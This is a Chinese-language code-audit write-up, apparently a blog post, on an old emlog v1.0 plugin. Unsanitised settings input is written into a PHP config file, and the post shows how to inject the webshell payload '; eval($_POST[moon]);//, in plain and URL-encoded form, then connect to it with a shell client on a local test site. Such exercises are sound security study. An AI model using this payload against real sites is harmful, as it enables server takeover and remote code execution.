代码审计emlog后台getshell

用的是较为古老的版本v1.0,这里只是作为一个代码审计的练习
项目地址

https://www.jb51.net/codes/105832.html

这里的漏洞点在
\content\plugins\ttjtg_banquan\ttjtg_banquan_setting.php,48-73行

<?php 
}
function plugin_setting()
{
$fz_kaiguan = isset($_POST['fz_kaiguan']) ? trim($_POST['fz_kaiguan']) : '';
$bk_yanse = isset($_POST['bk_yanse']) ? trim($_POST['bk_yanse']) : '';
$zt_yanse = isset($_POST['zt_yanse']) ? trim($_POST['zt_yanse']) : '';
$mingcheng = isset($_POST['mingcheng']) ? trim($_POST['mingcheng']) : '';
	
	print_r($_POST);
	 
$data = "<?php
\$fz_kaiguan = '".$fz_kaiguan."';
\$bk_yanse = '".$bk_yanse."';
\$zt_yanse = '".$zt_yanse."';
\$mingcheng = '".$mingcheng."';
?>";
	if($bk_yanse != '' && $fz_kaiguan != ''&& $zt_yanse != ''&& $mingcheng != '')
	{
		$file = EMLOG_ROOT.'/content/plugins/ttjtg_banquan/ttjtg_banquan_config.php';
		@ $fp = fopen($file, 'wb') OR emMsg('读取文件失败,如果您使用的是Unix/Linux主机,请修改文件/content/plugins/ttjtg_banquan/ttjtg_banquan_config.php的权限为777。如果您使用的是Windows主机,请联系管理员,将该文件设为everyone可写');
		@ $fw =	fwrite($fp,$data) OR emMsg('写入文件失败,如果您使用的是Unix/Linux主机,请修改文件/content/plugins/ttjtg_banquan/ttjtg_banquan_config.php的权限为777。如果您使用的是Windows主机,请联系管理员,将该文件设为everyone可写');
		fclose($fp);
	}
}
?>
}
?>

这里并没有对要写入的数组进行处理就直接写入了\content\plugins\ttjtg_banquan\ttjtg_banquan_config.php,我们只要闭合前面的单引号在写入一句话,这里最好是mingcheng在注释掉后面的语句

通过全局搜索可以看到admin/plugin.php调用了这个函数,41-46行

if ($action == '' && $plugin) {
	include View::getView('header');
	require_once "../content/plugins/{$plugin}/{$plugin}_setting.php";
	plugin_setting_view();
	include View::getView('footer');
}

通过变量plugin传参,plugin是通过get传参,直接访问
http://127.0.0.1/admin/plugin?plugin=ttjtg_banquan,直接点保存用bp抓包
在这里插入图片描述
将’; eval($_POST[moon]);//进行url编码拼接到变量mingcheng后发送
%27%3b%65%76%61%6c%28%24%5f%50%4f%53%54%5b%6d%6f%6f%6e%5d%29%3b%2f%2f
在这里插入图片描述

成功写入
在这里插入图片描述

菜刀连接
http://www.mm.com:8080/content/plugins/ttjtg_banquan/ttjtg_banquan_config.php
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值